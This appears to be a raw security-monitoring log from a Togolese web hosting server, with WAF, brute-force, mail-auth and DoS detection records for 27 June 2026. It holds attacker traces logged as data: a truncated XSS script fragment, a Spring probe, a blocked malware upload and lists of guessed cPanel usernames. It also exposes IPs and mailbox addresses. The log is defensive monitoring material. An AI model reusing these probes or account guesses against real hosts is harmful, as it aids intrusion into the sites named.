country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/05/Audience-avec-Mme-la-Representante-Residente-du-PNUD-au-Togo-MK-2.jpeg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.115.92.34
country_id: 2077456
description:
2026-06-27 11:07:52 dovecot_login authenticator failed for H=193-115-92-34.tpgi.com.au (45-238-2-34.netmaisfibra.net.br) [193.115.92.34]:51609: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.11
country_id: 6252001
description:
205.169.39.11 - - [27/Jun/2026:11:11:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10458518&pdata=http%253A%252F%252Fdgpu8l.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782558692 HTTP/1.1" 302 0 dgpu8l.mediatopnews.tg "http://dgpu8l.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.11


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.164.96.167
country_id: 6252001
description:
[2026-06-27 11:13:04 +0000] info [cpaneld] 216.164.96.167 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.224.61.57
country_id: 6252001
description:
[2026-06-27 11:12:51 +0000] info [cpaneld] 67.224.61.57 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.194.43.164
country_id: 6252001
description:
[2026-06-27 11:12:53 +0000] info [cpaneld] 98.194.43.164 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.63.135.8
country_id: 6252001
description:
[2026-06-27 11:13:01 +0000] info [cpaneld] 174.63.135.8 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 66.31.238.63
country_id: 6252001
description:
[2026-06-27 11:13:13 +0000] info [cpaneld] 66.31.238.63 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 120.53.123.216
country_id: 1814991
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/jif-2026-compassion-international-celebre-les-femmes-rurales-a-kara/<script async src=||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 200.71.127.15
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:11-17.200.71.127.15||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 138.59.5.216
country_id: 3608932
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:11-17.138.59.5.216||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 168.196.238.48
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:11-17.168.196.238.48||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 102.64.220.39
country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.21||T:APACHE||MVN:ARGS:dimClass||MV:unapproved||


plugin: modsec
rule: 77316904
name: IM360 WAF: Track IP which is in the web-spammers RBL
abuser: 152.232.68.139
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Track IP which is in the web-spammers RBL||Rules:r33309||MV:11-17.152.232.68.139||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.68.139
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:152.232.68.139||TA:152.232.68.139||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 94.130.161.185
country_id: 2921044
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:94.130.161.185||TA:94.130.161.185||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.113.195.183
country_id: 2510769
description:
185.113.195.183 - - [27/Jun/2026:11:21:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6713968&pdata=https%253A%252F%252Fucao-uut.tg%252Factualites-evenements%252Fevenements%252Fchampionnat-inter-universitaire-basketball-ucao-uut-vs-esa-tg%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782559306 HTTP/2.0" 302 0 ucao-uut.tg "https://ucao-uut.tg/actualites-evenements/evenements/championnat-inter-universitaire-basketball-ucao-uut-vs-esa-tg/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.9864.1460 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.113.195.183


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.101.67.121
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:192.101.67.121||TA:192.101.67.121||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.47.176.135
country_id: 1880251
description:
[2026-06-27 11:22:23 +0000] info [cpaneld] 38.47.176.135 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.36.246
country_id: 3469034
description:
Jun 27 11:33:21 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.36.246 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.173.196
country_id: 1880251
description:
43.173.173.196 - - [27/Jun/2026:11:36:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9989013&pdata=https%253A%252F%252F24heureinfo.tg%252Ftag%252Fmarioe-reine-bassaley%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782560198 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/tag/marioe-reine-bassaley/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.173.196


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.173.178.193
country_id: 1880251
domain: soena.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/home-v5/?add-to-cart=158||QS:add-to-cart=158||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 217.181.85.118
country_id: 2921044
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:217.181.85.118||TA:217.181.85.118||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 125.18.85.34
country_id: 1269750
description:
Denial of Service (DoS) attack was discovered from 125.18.85.34: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.182.33
country_id: 1880251
description:
43.173.182.33 - - [27/Jun/2026:11:40:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10012567&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Fwp%252Fv2%252Ftags%252F23588&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782560426 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/wp/v2/tags/23588" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.182.33


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.153.39.138
country_id: 6252001
description:
43.153.39.138 - - [27/Jun/2026:11:48:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6777185&pdata=https%253A%252F%252Fmacite.tg%252Fwp-content%252Fuploads%252F2023%252F04%252FDecision-N%2525C2%2525B0-002-portant-nomination-des-membres-CELI-2023.pdf&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782560910 HTTP/2.0" 302 0 macite.tg "https://macite.tg/wp-content/uploads/2023/04/Decision-N%C2%B0-002-portant-nomination-des-membres-CELI-2023.pdf" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.153.39.138


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 35.94.147.167
country_id: 6252001
domain: ceni.tg
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/in/out/uo58xz/christina.andersson@aon.com||User:root||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.114.228
country_id: 6252001
description:
[2026-06-27 11:52:35 +0000] info [cpaneld] 172.59.114.228 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.147.93.137
country_id: 6252001
description:
[2026-06-27 11:52:37 +0000] info [cpaneld] 67.147.93.137 - mafisteel "GET /login/?login_only=1&user=mafisteel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafisteel (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 96.32.194.225
country_id: 6252001
description:
[2026-06-27 11:52:42 +0000] info [cpaneld] 96.32.194.225 - mafistee "GET /login/?login_only=1&user=mafistee&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafistee (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.149.112.229
country_id: 6252001
description:
[2026-06-27 11:52:45 +0000] info [cpaneld] 67.149.112.229 - mafiste "GET /login/?login_only=1&user=mafiste&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafiste (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.133.138.72
country_id: 6252001
description:
[2026-06-27 11:52:50 +0000] info [cpaneld] 73.133.138.72 - mafis "GET /login/?login_only=1&user=mafis&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafis (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.143.236.154
country_id: 6252001
description:
[2026-06-27 11:52:48 +0000] info [cpaneld] 73.143.236.154 - mafist "GET /login/?login_only=1&user=mafist&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafist (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.7.159
country_id: 690791
description:
Jun 27 11:56:30 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.7.159 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 185.77.220.142
country_id: 6252001
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:185.77.220.142||TA:185.77.220.142||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.130.208.220
country_id: 3077311
description:
2026-06-27 11:57:51 dovecot_plain authenticator failed for H=(mail.dany2.mairie.tg) [188.130.208.220]:10668: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.130.208.220
country_id: 3077311
description:
Jun 27 11:57:53 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.130.208.220 has been locked due to Imunify RBL


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 157.15.40.58
country_id: 1643084
domain: cafe.tg
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:316382||Sizes:1077||Combined size:1077||User:cafetg||WPU:||Filename:icontxvky.zip||Scanned:/tmp//20260627-120118-aj-7jm1xHZSICyuHpUJn_AAAABI-file-qZOZJ8||SC:/home/cafetg/public_html/index.php||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 194.180.233.221
country_id: 6252001
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:194.180.233.221||TA:194.180.233.221||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.132.156.22
country_id: 1819730
description:
43.132.156.22 - - [27/Jun/2026:12:05:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9737625&pdata=https%253A%252F%252Fmacite.tg%252Fwp-content%252Fuploads%252F2024%252F04%252FDecision-de-la-Commission-Interclubs-de-la-CAF_-Match-No129.docx.pdf&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782561949 HTTP/2.0" 302 0 macite.tg "https://macite.tg/wp-content/uploads/2024/04/Decision-de-la-Commission-Interclubs-de-la-CAF_-Match-No129.docx.pdf" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.132.156.22


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.77.216.189
country_id: 6252001
description:
47.77.216.189 - - [27/Jun/2026:12:11:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10078566&pdata=https%253A%252F%252Fmediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782562308 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.77.216.189


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.24.105
country_id: 6252001
description:
47.251.24.105 - - [27/Jun/2026:12:12:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065866&pdata=https%253A%252F%252Fdagl.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782562317 HTTP/2.0" 302 0 dagl.tg "https://dagl.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.24.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.118.89
country_id: 6252001
description:
47.251.118.89 - - [27/Jun/2026:12:12:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066792&pdata=https%253A%252F%252Fns5mail.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782562321 HTTP/2.0" 302 0 ns5mail.netmaster.tg "https://ns5mail.netmaster.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.118.89


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 13.216.227.78
country_id: 6252001
domain: www.net.free.netmaster.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.182
country_id: 1880251
description:
47.128.121.182 - - [27/Jun/2026:12:15:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12885397&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Feperimentee-en-afrique-oms%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782562537 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/eperimentee-en-afrique-oms/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.182


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 18.232.1.84
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 18.232.1.84: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.8.58.119
country_id: 6252001
description:
[2026-06-27 12:22:04 +0000] info [cpaneld] 216.8.58.119 - mafist "GET /login/?login_only=1&user=mafist&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafist (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.147.227.189
country_id: 6252001
description:
[2026-06-27 12:22:09 +0000] info [cpaneld] 64.147.227.189 - mafis "GET /login/?login_only=1&user=mafis&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafis (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.20.194.36
country_id: 6252001
description:
[2026-06-27 12:21:54 +0000] info [cpaneld] 174.20.194.36 - mafisteel "GET /login/?login_only=1&user=mafisteel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafisteel (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 66.31.213.63
country_id: 6252001
description:
[2026-06-27 12:21:56 +0000] info [cpaneld] 66.31.213.63 - mafisteeltg "GET /login/?login_only=1&user=mafisteeltg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafisteeltg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.104.96.208
country_id: 6252001
description:
[2026-06-27 12:22:02 +0000] info [cpaneld] 74.104.96.208 - mafiste "GET /login/?login_only=1&user=mafiste&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafiste (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.184.61.76
country_id: 6252001
description:
[2026-06-27 12:23:04 +0000] info [cpaneld] 68.184.61.76 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 205.201.84.74
country_id: 6252001
description:
[2026-06-27 12:23:07 +0000] info [cpaneld] 205.201.84.74 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.209.194.4
country_id: 6252001
description:
[2026-06-27 12:23:09 +0000] info [cpaneld] 47.209.194.4 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.252.69.80
country_id: 6252001
description:
[2026-06-27 12:23:12 +0000] info [cpaneld] 24.252.69.80 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.112.24.65
country_id: 6252001
description:
[2026-06-27 12:22:14 +0000] info [cpaneld] 69.112.24.65 - mafi "GET /login/?login_only=1&user=mafi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafi (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.174.0.3
country_id: 3469034
description:
2026-06-27 12:26:12 dovecot_login authenticator failed for H=([197.211.32.242]) [177.174.0.3]:44912: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.175.243
country_id: 1880251
description:
43.173.175.243 - - [27/Jun/2026:12:27:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9750380&pdata=https%253A%252F%252F24heureinfo.tg%252Finternational%252Fla-liberation-de-mohamed-bazoum-serait-perilleuse-pour-la-securite-nationale-president-tiani%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782563240 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/international/la-liberation-de-mohamed-bazoum-serait-perilleuse-pour-la-securite-nationale-president-tiani/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.175.243


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.180.112
country_id: 1880251
description:
Jun 27 12:30:47 ns5 pure-ftpd[1035181]: (?@47.84.180.112) [WARNING] Authentication failed for user [mail.dany2.mairie.tg]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 9.139.2.119
country_id: 6252001
description:
[2026-06-27 12:31:09 +0000] info [cpaneld] 9.139.2.119 - cf "GET /login/?login_only=1&user=cf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.56.13.227
country_id: 6252001
description:
[2026-06-27 12:31:03 +0000] info [cpaneld] 172.56.13.227 - cfmitg "GET /login/?login_only=1&user=cfmitg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cfmitg (has_cpuser_file failed)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.172.198.46
country_id: 1880251
domain: soena.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/shop/bouffe/osouper/nos-sandwichs-osouper/supreme/?add-to-cart=2104||QS:add-to-cart=2104||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.33.125
country_id: 6252001
domain: mail.fdking.free.netmaster.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mail.fdking.free.netmaster.tg/wp-json/gravitysmtp/v1/tests/mock-data?page=gravitysmtp-settings HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.252.173.97
country_id: 1643084
description:
2026-06-27 12:33:35 dovecot_plain authenticator failed for H=(localhost) [180.252.173.97]:51312: 535 Incorrect authentication data (set_id=securecredits2.phpptitrikou@mesyscom.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-06-27 12:39:30 +0000] info [whostmgrd] 80.248.64.198 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-06-27 12:40:30 +0000] info [whostmgrd] 80.248.64.198 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 2501
name: User authentication failure.
description:
Jun 27 16:14:33 ns5 login[2154]: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1 ruser= rhost=  user=root


plugin: ossec
rule: 2501
name: User authentication failure.
description:
Jun 27 16:15:41 ns5 login[3755]: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1 ruser= rhost=  user=root


plugin: ossec
rule: 2501
name: User authentication failure.
description:
Jun 27 16:17:22 ns5 login[4933]: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1 ruser= rhost=  user=root


plugin: ossec
rule: 2501
name: User authentication failure.
description:
Jun 27 16:24:41 ns5 login[5161]: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1 ruser= rhost=  user=root


plugin: ossec
rule: 2501
name: User authentication failure.
description:
Jun 27 16:25:39 ns5 login[6873]: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1 ruser= rhost=  user=root


plugin: ossec
rule: 2501
name: User authentication failure.
description:
Jun 27 16:47:57 ns5 login[5154]: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1 ruser= rhost=  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.45.236
country_id: 953987
description:
Jun 27 00:45:26 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.45.236 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.165.132
country_id: 6252001
description:
2026-06-27 01:21:29 dovecot_login authenticator failed for H=(mail.tps.tg) [104.28.165.132]:26041: 535 Incorrect authentication data (set_id=tps@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-27 01:09:01 +0000] info [whostmgrd] 45.198.224.5 - root "GET /cpsess9875024411/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 10:04:13 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:44996: 535 Incorrect authentication data (set_id=sabrina@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 165.73.137.252
country_id: 953987
description:
Jun 27 00:45:00 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 165.73.137.252 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:36:54 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:46736: 535 Incorrect authentication data (set_id=testprint@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-06-27 12:39:33 +0000] info [whostmgrd] 80.248.64.198 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.36.246
country_id: 3469034
description:
